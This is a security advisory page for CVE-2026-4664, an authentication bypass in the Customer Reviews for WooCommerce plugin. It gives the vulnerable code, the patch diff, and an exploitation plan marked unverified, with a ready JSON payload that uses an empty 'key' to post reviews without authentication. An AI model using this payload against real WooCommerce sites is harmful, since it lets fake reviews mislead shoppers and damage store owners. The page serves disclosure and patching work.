CVE-2026-4664

Customer Reviews for WooCommerce <= 5.103.0 - Unauthenticated Authentication Bypass to Arbitrary Review Submission via 'key' Parameter

mediumImproper Authentication
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.104.0
Patched in
1d
Time to patch

Description

The Customer Reviews for WooCommerce plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 5.103.0. This is due to the `create_review_permissions_check()` function comparing the user-supplied `key` parameter against the order's `ivole_secret_key` meta value using strict equality (`===`), without verifying that the stored key is non-empty. For orders where no review reminder email has been sent, the `ivole_secret_key` meta is not set, causing `get_meta()` to return an empty string. An attacker can supply `key: ""` to match this empty value and bypass the permission check. This makes it possible for unauthenticated attackers to submit, modify, and inject product reviews on any product — including products not associated with the referenced order — via the REST API endpoint `POST /ivole/v1/review`. Reviews are auto-approved by default since `ivole_enable_moderation` defaults to `"no"`.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.103.0
PublishedApril 9, 2026
Last updatedApril 10, 2026

What Changed in the Fix

Changes introduced in v5.104.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4664 ## 1. Vulnerability Summary The **Customer Reviews for WooCommerce** plugin (up to 5.103.0) contains an improper authentication vulnerability in its REST API implementation. The endpoint `POST /wp-json/ivole/v1/review` uses a permission check function (`c…

Show full research plan

Exploitation Research Plan: CVE-2026-4664

1. Vulnerability Summary

The Customer Reviews for WooCommerce plugin (up to 5.103.0) contains an improper authentication vulnerability in its REST API implementation. The endpoint POST /wp-json/ivole/v1/review uses a permission check function (create_review_permissions_check) that validates access by comparing a user-provided key parameter against a specific order's meta value (ivole_secret_key).

The vulnerability exists because:

  1. The plugin uses strict equality (===) for the comparison.
  2. The ivole_secret_key meta is only generated when a review reminder email is sent.
  3. For orders where no reminder has been sent, get_post_meta() returns an empty string ("").
  4. An attacker can provide an empty key parameter, which strictly matches the empty meta value, bypassing authentication.

2. Attack Vector Analysis

  • Endpoint: /wp-json/ivole/v1/review
  • Method: POST
  • Authentication: Unauthenticated (Bypassed via key parameter).
  • Vulnerable Parameter: key (within JSON body or query string).
  • Payload: A JSON object containing a valid order ID and an array of items to review.
  • Preconditions:
    • At least one WooCommerce Order must exist in the database.
    • The Order ID must be known (IDs are sequential/guessable).
    • The ivole_secret_key meta must not have been set for that order (common for new or unprocessed orders).

3. Code Flow

  1. Entry Point: CR_Endpoint::register_routes() in includes/reviews/class-cr-endpoint.php registers the route /ivole/v1/review.
  2. Permission Check: Before execution, create_review_permissions_check() is called.
    • It retrieves the order_id from the request.
    • It calls get_post_meta( $order_id, 'ivole_secret_key', true ).
    • If the meta is missing, the result is "".
    • It compares this against the key param from the request. If "" === "", it returns true.
  3. Callback: CR_Endpoint::create_review_callback() is executed.
    • It decodes the JSON body into $body2.
    • It calls self::create_review( $body2, false ).
  4. Sink: CR_Endpoint::create_review() processes the review data.
    • It instantiates the order: $order = new WC_Order( $order_id ).
    • It iterates through $body2->order->items.
    • It creates a WordPress comment for each item (product) with comment_type set to review.
    • Reviews are auto-approved if ivole_enable_moderation is 'no' (the default).

4. Nonce Acquisition Strategy

This specific vulnerability targets a custom REST API endpoint intended for external use (CusRev service). The permission_callback handles authorization via the key parameter. Standard WordPress REST API nonces (_wpnonce) are not required for this endpoint if the permission_callback returns true.

No nonce acquisition is necessary for this exploit.

5. Exploitation Strategy

The goal is to submit an unauthenticated review for a product by referencing a valid order ID with an empty secret key.

Step-by-Step Plan:

  1. Identify Targets: Find a valid Product ID and a valid Order ID.
  2. Prepare Payload: Create a JSON object that includes the key (empty), the order ID, and the review details.
  3. Send Request: Execute a POST request to the REST API.

HTTP Request Details:

  • URL: http://<target>/wp-json/ivole/v1/review
  • Method: POST
  • Headers: Content-Type: application/json
  • Body:
{
  "key": "",
  "order": {
    "id": 123,
    "items": [
      {
        "id": 456,
        "rating": 5,
        "comment": "This product was amazing! (Injected Review)"
      }
    ]
  }
}

(Replace 123 with a valid Order ID and 456 with a valid Product ID).

6. Test Data Setup

To reliably test this, the following environment state is required:

  1. WooCommerce Active: Must be installed and configured.
  2. Target Product: Create a product with ID X.
    • wp post create --post_type=product --post_title='Target Product' --post_status=publish
  3. Target Order: Create an order with ID Y that includes any product.
    • wp wc shell --command="\$order = wc_create_order(); \$order->add_product(get_product(X)); \$order->set_billing_email('victim@example.com'); \$order->save();"
  4. Plugin Setting: Ensure moderation is off (default).
    • wp option update ivole_enable_moderation 'no'

7. Expected Results

  • HTTP Response: 200 OK or 201 Created.
  • Database State: A new entry in the wp_comments table associated with the Product ID, having comment_type = review and comment_approved = 1.

8. Verification Steps

  1. Check via WP-CLI:
    wp comment list --post_id=<PRODUCT_ID> --status=approve
    
  2. Confirm Meta: Verify that the comment has the rating meta.
    wp comment meta list <COMMENT_ID>
    
  3. UI Verification: Navigate to the product page on the frontend and check the "Reviews" tab.

9. Alternative Approaches

  • Shop Review Injection: If product reviews are disabled, target the "Shop Review" feature by providing shop_rating and shop_comment in the order object instead of items.
  • Modifying Existing Reviews: The plugin description mentions "modify" reviews. This may involve providing a comment_id in the payload if the code path supports updates (to be verified during execution by inspecting create_review logic for existing comment checks).
  • Parameter Placement: If key in the JSON body is ignored by the permission check, try passing it as a query parameter: POST /wp-json/ivole/v1/review?key=.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Customer Reviews for WooCommerce plugin is vulnerable to an unauthenticated authentication bypass due to an insecure comparison in the `create_review_permissions_check` function. The function compares a user-provided `key` against an order's `ivole_secret_key` meta value using strict equality without ensuring the stored key is non-empty. An attacker can exploit this by providing an empty string for the `key` parameter to match uninitialized keys, allowing them to submit or modify product reviews via the `/ivole/v1/review` REST API endpoint.

Vulnerable Code

// includes/reviews/class-cr-endpoint.php lines 646-662

		public function create_review_permissions_check( WP_REST_Request $request ) {
			$body = $request->get_body();
			$body2 = json_decode( $body );
			if( json_last_error() === JSON_ERROR_NONE ) {
				if( isset( $body2->key ) && isset( $body2->order ) ) {
					if( isset( $body2->order->id ) ) {
						$order = wc_get_order( $body2->order->id );
						if ( $order ) {
							$saved_key = $order->get_meta( 'ivole_secret_key', true );
							if( $body2->key === $saved_key ) {
								return true;
							} else {

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/customer-reviews-woocommerce/5.103.0/includes/reviews/class-cr-endpoint.php	2026-03-23 02:09:54.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/customer-reviews-woocommerce/5.104.0/includes/reviews/class-cr-endpoint.php	2026-03-30 00:23:22.000000000 +0000
@@ -646,13 +646,13 @@
 		public function create_review_permissions_check( WP_REST_Request $request ) {
 			$body = $request->get_body();
 			$body2 = json_decode( $body );
-			if( json_last_error() === JSON_ERROR_NONE ) {
-				if( isset( $body2->key ) && isset( $body2->order ) ) {
-					if( isset( $body2->order->id ) ) {
+			if ( json_last_error() === JSON_ERROR_NONE ) {
+				if ( isset( $body2->key ) && isset( $body2->order ) ) {
+					if ( isset( $body2->order->id ) ) {
 						$order = wc_get_order( $body2->order->id );
 						if ( $order ) {
 							$saved_key = $order->get_meta( 'ivole_secret_key', true );
-							if( $body2->key === $saved_key ) {
+							if ( ! empty( $saved_key ) && $body2->key === $saved_key ) {
 								return true;
 							} else {
 								return new WP_Error(

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker identifies a valid WooCommerce Order ID (IDs are typically sequential and guessable). Because the plugin only generates a secret key when a review reminder email is sent, many orders (like newly created or processed ones) will have an empty string stored for the `ivole_secret_key` meta. The attacker sends a POST request to `/wp-json/ivole/v1/review` with a JSON payload where the `key` parameter is an empty string and the `order` object contains the target Order ID. By providing a product ID in the `items` array within that payload, the attacker can successfully submit a review. If the default moderation setting (`ivole_enable_moderation`) is 'no', the review is automatically approved and displayed on the site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.